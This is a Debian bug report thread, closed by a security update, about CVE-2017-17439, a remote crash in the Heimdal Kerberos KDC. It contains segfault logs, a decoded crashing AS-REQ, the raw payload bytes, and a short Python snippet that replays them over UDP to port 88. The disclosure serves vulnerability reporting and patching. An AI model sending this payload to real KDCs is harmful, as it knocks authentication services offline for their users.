Your message dated Sat, 09 Dec 2017 12:02:38 +0000
with message-id <e1endq2-0004i9...@fasolo.debian.org>
and subject line Bug#878144: fixed in heimdal 7.1.0+dfsg-13+deb9u2
has caused the Debian Bug report #878144,
regarding CVE-2017-17439: Remote unauthenticated DoS in Heimdal-KDC 7.1
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
878144: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=878144
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: heimdal-kdc
Version: 7.1.0+dfsg-13+deb9u1 amd64
Severity: important


We are running heimdal-kdc 7.1.0+dfsg-13+deb9u1 amd64 shipped with
Debian stretch for our Domain and have discovered several crashes in the
past few months. Investigation showed that dmesg contained several logs
about segfaults:

[Fr Jun 23 12:07:17 2017] kdc[14596]: segfault at 18 ip 00007f65c02ef5d0
sp 00007ffd1d7f7298 error 4 in libasn1.so.8.0.0[7f65c0268000+a7000]
[Di Jun 27 21:37:26 2017] kdc[10087]: segfault at 18 ip 00007f65c02ef5d0
sp 00007ffd1d7f7298 error 4 in libasn1.so.8.0.0[7f65c0268000+a7000]
[Mo Jul  3 16:18:39 2017] kdc[2656]: segfault at 18 ip 00007fa27ec105d0
sp 00007ffedcb061f8 error 4 in libasn1.so.8.0.0[7fa27eb89000+a7000]
[So Jul  9 08:55:39 2017] kdc[6092]: segfault at 18 ip 00007fa27ec105d0
sp 00007ffedcb061f8 error 4 in libasn1.so.8.0.0[7fa27eb89000+a7000]
[Di Jul 11 13:06:14 2017] kdc[28993]: segfault at 18 ip 00007fb9dccda5d0
sp 00007ffc6e2ee648 error 4 in libasn1.so.8.0.0[7fb9dcc53000+a7000]
[Di Jul 11 23:39:40 2017] kdc[32211]: segfault at 18 ip 00007fb9dccda5d0
sp 00007ffc6e2ee648 error 4 in libasn1.so.8.0.0[7fb9dcc53000+a7000]
[Sa Jul 15 13:20:17 2017] kdc[6902]: segfault at 18 ip 00007fb76d5ef5d0
sp 00007ffc22a84078 error 4 in libasn1.so.8.0.0[7fb76d568000+a7000]
[Fr Jul 21 12:17:37 2017] kdc[9219]: segfault at 18 ip 00007fdfcbf2b5d0
sp 00007ffe9f295128 error 4 in libasn1.so.8.0.0[7fdfcbea4000+a7000]
[So Jul 23 21:10:59 2017] kdc[26977]: segfault at 18 ip 00007fdfcbf2b5d0
sp 00007ffe9f295128 error 4 in libasn1.so.8.0.0[7fdfcbea4000+a7000]
[So Aug  6 12:06:04 2017] kdc[26494]: segfault at 18 ip 00007f342c8d35d0
sp 00007fff8ae39088 error 4 in libasn1.so.8.0.0[7f342c84c000+a7000]
[Di Aug 15 15:21:41 2017] kdc[28412]: segfault at 18 ip 00007f4780b605d0
sp 00007ffd63250328 error 4 in libasn1.so.8.0.0[7f4780ad9000+a7000]
[Mi Aug 16 08:46:13 2017] kdc[5166]: segfault at 18 ip 00007f4780b605d0
sp 00007ffd63250328 error 4 in libasn1.so.8.0.0[7f4780ad9000+a7000]
[Di Aug 29 04:01:58 2017] kdc[5268]: segfault at 18 ip 00007f31fdd065d0
sp 00007ffd8392c748 error 4 in libasn1.so.8.0.0[7f31fdc7f000+a7000]
[Fr Sep  1 16:56:57 2017] kdc[13396]: segfault at 18 ip 00007f31fdd065d0
sp 00007ffd8392c748 error 4 in libasn1.so.8.0.0[7f31fdc7f000+a7000]
[Mo Sep 11 20:10:45 2017] kdc[16093]: segfault at 18 ip 00007f8a096715d0
sp 00007ffd48ba4b28 error 4 in libasn1.so.8.0.0[7f8a095ea000+a7000]
[Di Sep 12 13:46:17 2017] kdc[24683]: segfault at 18 ip 00007f8a096715d0
sp 00007ffd48ba4b28 error 4 in libasn1.so.8.0.0[7f8a095ea000+a7000]

The heimdal-kdc log gave us additional information:

lofar log # zgrep "AS-REQ malformed client name" heimdal-kdc.log*
heimdal-kdc.log:2017-09-11T20:10:46 AS-REQ malformed client name from
IPv4:80.82.77.139
heimdal-kdc.log:2017-09-12T13:46:18 AS-REQ malformed client name from
IPv4:185.100.87.246
heimdal-kdc.log.2.gz:2017-08-29T04:01:59 AS-REQ malformed client name
from IPv4:71.6.135.131
heimdal-kdc.log.2.gz:2017-09-01T16:56:58 AS-REQ malformed client name
from IPv4:34.208.25.133
heimdal-kdc.log.4.gz:2017-08-15T15:21:41 AS-REQ malformed client name
from IPv4:96.126.127.61
heimdal-kdc.log.4.gz:2017-08-16T08:46:13 AS-REQ malformed client name
from IPv4:71.6.158.166
heimdal-kdc.log.5.gz:2017-08-06T12:06:05 AS-REQ malformed client name
from IPv4:71.6.167.142

The KDC was directly reachable over the Internet - those IPs do not
belong to us but seemed to send packets crashing our master or our slave
(we observed the same there).
While waiting to capture one of those packets and reproduce the issues,
my colleague Thomas Kittel located the part of the code responsible for
the crash:

  * RIP in libasn1.so.0 (relativ) 0x875d0.
  * "der_length_visible_string@@HEIMDAL_ASN1_1.0"
  ____________________________
   875d0:       48 8b 3f                mov    rdi,QWORD PTR [rdi]
   875d3:       e9 e8 83 f9 ff          jmp    1f9c0 <strlen@plt>
   875d8:       0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
   875df:       00
  ____________________________

  * Source:
https://github.com/heimdal/heimdal/blob/master/lib/asn1/der_length.c
  size_t
  der_length_visible_string (const heim_visible_string *data)
  {
      return strlen(*data);
  }

As quickfix, he supposed to include a NULL check (which we did not test
yet): if(!data) return 0;

We managed to get our hands on one of the payloads (c.f. attachments).
It seems to be a syntactically valid Kerberos message (see decoded_der.txt)
with nonsense values but nothing obviously looking like attempts to
inject shellcode or abuse any vulnerability.
I attached the raw bytes of the complete packet as well as the raw bytes
of the Kerberos message only. Replaying the payload lead to reproducible
crashes (steps to reproduce attached) and since we see these packets at
least since June (symptoms for over a year) there seem to be people
making use of this in the wild.

We do currently not know if the packets are only DoS attempts or if the
crashes are only side effects of more severe attacks like leaks or code
execution. We enabled the firewall to drop Kerberos packets coming from
the Internet, but there may be others suffering from these attacks.

We believe that this is a upstream bug. I tried to contact the
developers via PGP-encrypted mail but they did not react.

If there are any open questions, please do not hesitate to contact us!

Best regards,
Michael Eder


from pyasn1.codec.der.decoder import decode as der_decode
with open("/tmp/krb_crash_only_krb_packet.bin", "rb") as f:
     derdata=f.read()
data = der_decode(derdata)[0]
print data

Sequence(
    componentType=NamedTypes(),
    tagSet=TagSet(
        (),
        Tag(tagClass=0, tagFormat=32, tagId=16),
        Tag(tagClass=64, tagFormat=32, tagId=10)
    )
).setComponents(
    Integer(
        5,
        tagSet=TagSet(
            (),
            Tag(tagClass=0, tagFormat=0, tagId=2),
            Tag(tagClass=128, tagFormat=32, tagId=1)
        )
    ),
    Integer(
        10,
        tagSet=TagSet(
            (),
            Tag(tagClass=0, tagFormat=0, tagId=2),
            Tag(tagClass=128, tagFormat=32, tagId=2)
        )
    ),
    Sequence(
        componentType=NamedTypes(),
        tagSet=TagSet(
            (),
            Tag(tagClass=0, tagFormat=32, tagId=16),
            Tag(tagClass=128, tagFormat=32, tagId=4)
        )
    ).setComponents(
        BitString(
            "'01010000100000000000000000010000'B",
            tagSet=TagSet(
                (),
                Tag(tagClass=0, tagFormat=0, tagId=3),
                Tag(tagClass=128, tagFormat=32, tagId=0)
            )
        ),
        GeneralString(
            'NM',
            tagSet=TagSet(
                (),
                Tag(tagClass=0, tagFormat=0, tagId=27),
                Tag(tagClass=128, tagFormat=32, tagId=2)
            )
        ),
        Sequence(
            componentType=NamedTypes(),
            tagSet=TagSet(
                (),
                Tag(tagClass=0, tagFormat=32, tagId=16),
                Tag(tagClass=128, tagFormat=32, tagId=3)
            )
        ).setComponents(
            Integer(
                0,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2),
                    Tag(tagClass=128, tagFormat=32, tagId=0)
                )
            ),
            Sequence(
                componentType=NamedTypes(),
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=32, tagId=16),
                    Tag(tagClass=128, tagFormat=32, tagId=1)
                )
            ).setComponents(
                GeneralString(
                    'krbtgt',
                    tagSet=TagSet(
                        (),
                        Tag(tagClass=0, tagFormat=0, tagId=27)
                    )
                ),
                GeneralString(
                    'NM',
                    tagSet=TagSet(
                        (),
                        Tag(tagClass=0, tagFormat=0, tagId=27)
                    )
                )
            )
        ),
        GeneralizedTime(
            '19700101000000Z',
            tagSet=TagSet(
                (),
                Tag(tagClass=0, tagFormat=0, tagId=24),
                Tag(tagClass=128, tagFormat=32, tagId=5)
            )
        ),
        Integer(
            522107353,
            tagSet=TagSet(
                (),
                Tag(tagClass=0, tagFormat=0, tagId=2),
                Tag(tagClass=128, tagFormat=32, tagId=7)
            )
        ),
        Sequence(
            componentType=NamedTypes(),
            tagSet=TagSet(
                (),
                Tag(tagClass=0, tagFormat=32, tagId=16),
                Tag(tagClass=128, tagFormat=32, tagId=8)
            )
        ).setComponents(
            Integer(
                18,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2)
                )
            ),
            Integer(
                17,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2)
                )
            ),
            Integer(
                16,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2)
                )
            ),
            Integer(
                23,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2)
                )
            ),
            Integer(
                1,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2)
                )
            ),
            Integer(
                3,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2)
                )
            ),
            Integer(
                2,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2)
                )
            )
        )
    )
)

Attachment: krb_crash.bin
Description: Binary data

Attachment: krb_crash_only_krb_packet.bin
Description: Binary data

In [1]: import socket

In [2]: UDP_HOST = "lofar.fs.tum.de"

In [3]: UDP_PORT = 88

In [4]: with open("krb_crash_only_krb_packet.bin", "rb") as crashfile:
   ...:     PAYLOAD = crashfile.read()
   ...:

In [5]: print(PAYLOAD)
b'j\x81n0\x81k\xa1\x03\x02\x01\x05\xa2\x03\x02\x01\n\xa4\x81^0\\\xa0\x07\x03\x05\x00P\x80\x00\x10\xa2\x04\x1b\x02NM\xa3\x170\x15\xa0\x03\x02\x01\x00\xa1\x0e0\x0c\x1b\x06krbtgt\x1b\x02NM\xa5\x11\x18\x0f19700101000000Z\xa7\x06\x02\x04\x1f\x1e\xb9\xd9\xa8\x170\x15\x02\x01\x12\x02\x01\x11\x02\x01\x10\x02\x01\x17\x02\x01\x01\x02\x01\x03\x02\x01\x02'

In [6]: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

In [7]: s.sendto(PAYLOAD, (UDP_HOST, UDP_PORT))
Out[7]: 113


/var/log/heimdal-kdc.log:2017-09-19T20:15:15 AS-REQ malformed client name from 
IPv4:<myIP>

Attachment: signature.asc
Description: OpenPGP digital signature


--- End Message ---
--- Begin Message ---
Source: heimdal
Source-Version: 7.1.0+dfsg-13+deb9u2

We believe that the bug you reported is fixed in the latest version of
heimdal, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 878...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Dominik George <n...@naturalnet.de> (supplier of updated heimdal package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA384

Format: 1.8
Date: Wed, 06 Dec 2017 13:24:04 +0100
Source: heimdal
Binary: heimdal-docs heimdal-kdc heimdal-multidev heimdal-dev heimdal-clients 
heimdal-kcm heimdal-servers heimdal-dbg libheimbase1-heimdal libasn1-8-heimdal 
libkrb5-26-heimdal libhdb9-heimdal libkadm5srv8-heimdal libkadm5clnt7-heimdal 
libgssapi3-heimdal libkafs0-heimdal libroken18-heimdal libotp0-heimdal 
libsl0-heimdal libkdc2-heimdal libhx509-5-heimdal libheimntlm0-heimdal 
libwind0-heimdal libhcrypto4-heimdal
Architecture: source i386 all
Version: 7.1.0+dfsg-13+deb9u2
Distribution: stretch-security
Urgency: high
Maintainer: Brian May <b...@debian.org>
Changed-By: Dominik George <n...@naturalnet.de>
Description:
 heimdal-clients - Heimdal Kerberos - clients
 heimdal-dbg - Heimdal Kerberos - debugging symbols
 heimdal-dev - Heimdal Kerberos - development files
 heimdal-docs - Heimdal Kerberos - documentation
 heimdal-kcm - Heimdal Kerberos - KCM daemon
 heimdal-kdc - Heimdal Kerberos - key distribution center (KDC)
 heimdal-multidev - Heimdal Kerberos - Multi-implementation Development
 heimdal-servers - Heimdal Kerberos - server programs
 libasn1-8-heimdal - Heimdal Kerberos - ASN.1 library
 libgssapi3-heimdal - Heimdal Kerberos - GSSAPI support library
 libhcrypto4-heimdal - Heimdal Kerberos - crypto library
 libhdb9-heimdal - Heimdal Kerberos - kadmin server library
 libheimbase1-heimdal - Heimdal Kerberos - Base library
 libheimntlm0-heimdal - Heimdal Kerberos - NTLM support library
 libhx509-5-heimdal - Heimdal Kerberos - X509 support library
 libkadm5clnt7-heimdal - Heimdal Kerberos - kadmin client library
 libkadm5srv8-heimdal - Libraries for Heimdal Kerberos
 libkafs0-heimdal - Heimdal Kerberos - KAFS support library
 libkdc2-heimdal - Heimdal Kerberos - KDC support library
 libkrb5-26-heimdal - Heimdal Kerberos - libraries
 libotp0-heimdal - Heimdal Kerberos - OTP support library
 libroken18-heimdal - Heimdal Kerberos - roken support library
 libsl0-heimdal - Heimdal Kerberos - SL support library
 libwind0-heimdal - Heimdal Kerberos - stringprep implementation
Closes: 878144
Changes:
 heimdal (7.1.0+dfsg-13+deb9u2) stretch-security; urgency=high
 .
   * CVE-2017-17439: Remote unauthenticated DoS in Heimdal-KDC 7.1
     (Closes: #878144)
Checksums-Sha1:
 18092e4d898242aa03f4555155050c203de85c08 3743 heimdal_7.1.0+dfsg-13+deb9u2.dsc
 7160959e5db2804cc0f94e889d3a90f32dfba19b 70108 
heimdal_7.1.0+dfsg-13+deb9u2.debian.tar.xz
 30b224320b907cfa5973017a3f81e31ae5c819b8 183232 
heimdal-clients_7.1.0+dfsg-13+deb9u2_i386.deb
 202df9729e5fb78e0d5d2c16a6ac034ff7d304d8 4749174 
heimdal-dbg_7.1.0+dfsg-13+deb9u2_i386.deb
 1fd02152a905b1504c7ac683e4f81cc44dbcade9 140908 
heimdal-dev_7.1.0+dfsg-13+deb9u2_i386.deb
 64b6311faa4ac9a824d937715d91c92c061aff89 104498 
heimdal-docs_7.1.0+dfsg-13+deb9u2_all.deb
 8bf74125dd547e22b75623bb0849a1dfbb1ee7b8 57650 
heimdal-kcm_7.1.0+dfsg-13+deb9u2_i386.deb
 1cf1d88b6cebd1f7a06882de90a5004592bbaf67 132630 
heimdal-kdc_7.1.0+dfsg-13+deb9u2_i386.deb
 6b1353b20575237408318818b181c472944242eb 1275518 
heimdal-multidev_7.1.0+dfsg-13+deb9u2_i386.deb
 9c9985a848ad13f7e47cdf3f5f35ef5ab9d49097 35526 
heimdal-servers_7.1.0+dfsg-13+deb9u2_i386.deb
 ba11608f9641babb6b5bbf98deb85f588e5aa0ca 14329 
heimdal_7.1.0+dfsg-13+deb9u2_i386.buildinfo
 3e87c18c6b2e5e0e547ff0e6697872c5bed0840c 217660 
libasn1-8-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 21c968bd6e3f1bbbc6cc4839f7fee68efcf48781 133300 
libgssapi3-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 2a8f6c261b8fbb5f560e274a10716e23d8791ea0 120006 
libhcrypto4-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 21a623ac1dccea4d56c6648a341e1a36467a4610 95530 
libhdb9-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 0835d422abcd73547407ab3dac97c31523caf1fb 56670 
libheimbase1-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 9f995aae3efe287ed7bf32f47ab361d77eeacc71 42026 
libheimntlm0-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 674318dd19b48c487c3e26f7e525bd7e2c22a8db 143848 
libhx509-5-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 a75cf753221af2b3cc43df2974ac6e79351b4467 45842 
libkadm5clnt7-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 d145f9eb55f19f90eb27e18b48aa9811fa3cc57f 64596 
libkadm5srv8-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 c6ae128e9dbe6e13d61b7dfc8ff885a86b596dd5 42450 
libkafs0-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 947a7337a80f27f97acd4a878a4cbd9a1ff39bc7 85408 
libkdc2-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 a65eb31dc358dd31c6ad159af5daa25a9d779b33 259294 
libkrb5-26-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 bed29de175f8055cc584e25b6951e913ad53eb0d 51006 
libotp0-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 421d4f940a71b302b16c68e82fa4dc3875c98871 69254 
libroken18-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 00a671df2015ba49c0bbe1bb9c244fde19fb632d 38056 
libsl0-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 4e9388c69a7214109f4c7188746e6ca3c680aae9 74166 
libwind0-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
Checksums-Sha256:
 c95b3a693cd33f25c1b927637125826652403ccee860ee2f9b393a0155266393 3743 
heimdal_7.1.0+dfsg-13+deb9u2.dsc
 677386d6ad1840a154d3105e491a5cc2dda327b20fa92abc1d6f7c527757501d 70108 
heimdal_7.1.0+dfsg-13+deb9u2.debian.tar.xz
 c351969cf98180fea57183c49f1b8ee6f2ee049edab98a564c2539dfedba474c 183232 
heimdal-clients_7.1.0+dfsg-13+deb9u2_i386.deb
 0de699855f4f7375ccc987ef76349b8e82303e9ac734ee6e8e8a06e57b9bb3f5 4749174 
heimdal-dbg_7.1.0+dfsg-13+deb9u2_i386.deb
 c2fc07e47893bf9e5f66c77fea6d72e8d2683f2887202fc627aa345c0c3bbbe7 140908 
heimdal-dev_7.1.0+dfsg-13+deb9u2_i386.deb
 eb68c29ab4e5b7f31c1f70ee96886944a9831f136156af52fb0c6c405922441b 104498 
heimdal-docs_7.1.0+dfsg-13+deb9u2_all.deb
 dd5959da3e4fcf1eff0b483f51438ae702d04835f30d07c57d2db506d531602e 57650 
heimdal-kcm_7.1.0+dfsg-13+deb9u2_i386.deb
 e56ff12f5a3a7fd71990ff02d0b3a4cac720f261099ecde5d826266bfcc47993 132630 
heimdal-kdc_7.1.0+dfsg-13+deb9u2_i386.deb
 7b30046f31eea6991905b922cdcf965ef1b20ba9a11fc3cf65b2b9997bee91ea 1275518 
heimdal-multidev_7.1.0+dfsg-13+deb9u2_i386.deb
 00badfb5912f1f0f18b63dd4ca7ca51f306109ceaed0bb5bc548bcfa989c304e 35526 
heimdal-servers_7.1.0+dfsg-13+deb9u2_i386.deb
 9022c625218102122a458111e8b9a1db5c04878eb3a5ee31a0a1a9da433b324f 14329 
heimdal_7.1.0+dfsg-13+deb9u2_i386.buildinfo
 55adfb00126fdca9c2c545a7d6000362e2911a7e813bc27a54e3c3794bf121fc 217660 
libasn1-8-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 af38b5f79b0dea4495b0ba1f93df8e5d3dcad2a9ef11925d0e19c22acd341b55 133300 
libgssapi3-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 2778a3d107986b602956da0d9bf5256994ae4a5d16102dea02bf351ae6ed1309 120006 
libhcrypto4-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 47b04e9931d4fae2c89e38fdca2b810874dcd05ee7f69cb4afcf647d7094e31f 95530 
libhdb9-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 744e4efe7c921ca20a278f7b6e1a80cd8619d37c1143c977e982c99ddf2b5480 56670 
libheimbase1-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 be3813228f9686daa1c17eed8acd5a7c267deced23dc60ec30fa25be9f190d8c 42026 
libheimntlm0-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 29eaa8ea0249ffe8099538bae5096efa5f3dd27cb5d230092e4dfea5622da14a 143848 
libhx509-5-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 3d1504bd6edb43729fe78a7b65e16ae94965d1e893cdb1d44fe6088268b2d15e 45842 
libkadm5clnt7-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 d948e2db649509604c81748fec3ef4fea5398a1bd76c84c6b727d5f2905cf400 64596 
libkadm5srv8-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 8dc23d36f6b358d750f34327224a2a43846aca9fbad4530db7ecc268ec638da8 42450 
libkafs0-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 bb0b4981fe4b4325487ae048f6e26f3e7d6a2fac07928774ebf0c115bad897c9 85408 
libkdc2-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 92fe071d4c1b25796372738db6f87f4cba8d350765e63cafb2cc7c1245ffbd90 259294 
libkrb5-26-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 93ed264cd538ddf3a6ab425bb3b16c168a7c697d4cb0c0ebfa2bcf2700053e51 51006 
libotp0-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 556645621d927c85aa07b89c598c1d81bf510216ddeaa8c4c1ffc73361f83d7a 69254 
libroken18-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 a7727d11441bb617a25997ae5d2d18aa465e758e51d787ca9f79b15c3a6e312c 38056 
libsl0-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 a847e21ef88929e967d68ec3bc3fcbfd2035ca1b8469774897999a340521463e 74166 
libwind0-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
Files:
 ecabe815edf9e7b54d249f08c8d1efe7 3743 net optional 
heimdal_7.1.0+dfsg-13+deb9u2.dsc
 cbf5b9934b2c252610096f2a2107e735 70108 net optional 
heimdal_7.1.0+dfsg-13+deb9u2.debian.tar.xz
 109ed7c5dea6a6d624aed91c542a4f74 183232 net extra 
heimdal-clients_7.1.0+dfsg-13+deb9u2_i386.deb
 60e45eb709eb7ca0fb0dbe10839d41e8 4749174 debug extra 
heimdal-dbg_7.1.0+dfsg-13+deb9u2_i386.deb
 2c25b21cf944855a01add8e0d1b3c914 140908 devel extra 
heimdal-dev_7.1.0+dfsg-13+deb9u2_i386.deb
 8c3144e72322abd516cc5bb548c238b1 104498 doc extra 
heimdal-docs_7.1.0+dfsg-13+deb9u2_all.deb
 1580f254a8a1c7bc3519a93e992994c4 57650 net extra 
heimdal-kcm_7.1.0+dfsg-13+deb9u2_i386.deb
 d685ab6e6a1ebb555f3d14e4ce8a9da0 132630 net extra 
heimdal-kdc_7.1.0+dfsg-13+deb9u2_i386.deb
 3f4e385aecc7d97dd0fc9dd42e70fc0b 1275518 devel extra 
heimdal-multidev_7.1.0+dfsg-13+deb9u2_i386.deb
 33c4fa0f2e10399c9f3e05a23dc4ed49 35526 net extra 
heimdal-servers_7.1.0+dfsg-13+deb9u2_i386.deb
 c8ea602fe9800ec1f2f21aae6e75be8b 14329 net optional 
heimdal_7.1.0+dfsg-13+deb9u2_i386.buildinfo
 b83d200dc0e9e9b06b04b382d0b8e31c 217660 libs optional 
libasn1-8-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 3b4fe562eb1367ab1b159db528852ce6 133300 libs optional 
libgssapi3-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 d2ad5feb0fd037ea7cdaeaf5a3f70904 120006 libs optional 
libhcrypto4-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 85c6f2b562bc8995270a56e502c8900b 95530 libs optional 
libhdb9-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 13e3cd87e053e900ddb68aab1e88ac82 56670 libs optional 
libheimbase1-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 1ce7b7c4880e4d32d26b22ed72afbffd 42026 libs optional 
libheimntlm0-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 6ba3a2081970e7c364a3375d53ee04cf 143848 libs optional 
libhx509-5-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 27fd84d01c2734a0eba99cc9a533130d 45842 libs optional 
libkadm5clnt7-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 c0b9857ff80dc0067a6cce1578610982 64596 libs optional 
libkadm5srv8-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 840e66b6a15db30fd57d19b3c7c0b46a 42450 libs extra 
libkafs0-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 cd95b227be936fce56eaedafdd8b4776 85408 libs extra 
libkdc2-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 ed62a71bf3f9c438fa04cb10aad3699a 259294 libs optional 
libkrb5-26-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 942c43ab6ef02041e7fb58bf93b97d4b 51006 libs extra 
libotp0-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 663407a5c8e29fcfe1253df1fb305be3 69254 libs optional 
libroken18-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 482025636c9f1a365e7a2ba395e11d95 38056 libs extra 
libsl0-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb
 a8d88bdda919ebccd7ab2edd20871466 74166 libs optional 
libwind0-heimdal_7.1.0+dfsg-13+deb9u2_i386.deb

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.14 (MirBSD)
Comment: ☃ ЦΤℱ—8 ☕☂☄

iQIcBAEBCQAGBQJaKB4VAAoJEHa1NLLpkAfg2SwQAMnEmLOKb/gcjJ70xiwPC0ro
Y6i0lr3lMQWcnF4ijpnuy/Q6ap0X2t27WFRICVaVsanu4KfZagruGKo/0BYHyczG
RudWhooZanuHo+1ZZTD0lZ0zQ8wovCNwbLy7/Mt1vkxrsZiMJAo45yTAadHJlzQj
04fB3qDwYGCDxH+kFEH1DrpIN+0C74lgDYUzISx4H74k234PyCjJbB+8lHurY+d5
7tb/UqiqUHRy0Fm0OeJ2b6xE6rvThlVWnd5LrblewnMhBOeLsfqoUq6BIc6tmUvp
JDMrtRylB+UL7rLeKUSpyp+F+2bUIyf6IsXt8+KMnCegELZEk/DlscXhyHtR7e3I
x7YPm/M8PQdKN3JVpT5xRbrXyRlwOtX2Pk3fknphMMo6Gpsz0puMF3RWM/MM1FQF
bRXCqxTUia8NGft9KkT2qhpLw3D1f6Nhz+nK7TW/atHHucyyY8ieq6WHL/QpXhiz
clYcE/94FoOHseiO21lIZdIWM8SPZHIkHLbrl2MwgyI384trv+wtMOLe3GNEtaMW
W9GULUCbglUqJ/MsYsiXTfVaHR+UuKea58nNOTOG4lYqabEMq6Lg+mlQtoXI5X5F
iL1+aH4BrLv0/t2dc95AtnUfpBvEx5BBr4l+JGzkwfoH2gsc3CSEnz97+FZkq+/c
+hMGRiewZ4XaAa/gQSyw
=UhST
-----END PGP SIGNATURE-----

--- End Message ---

Reply via email to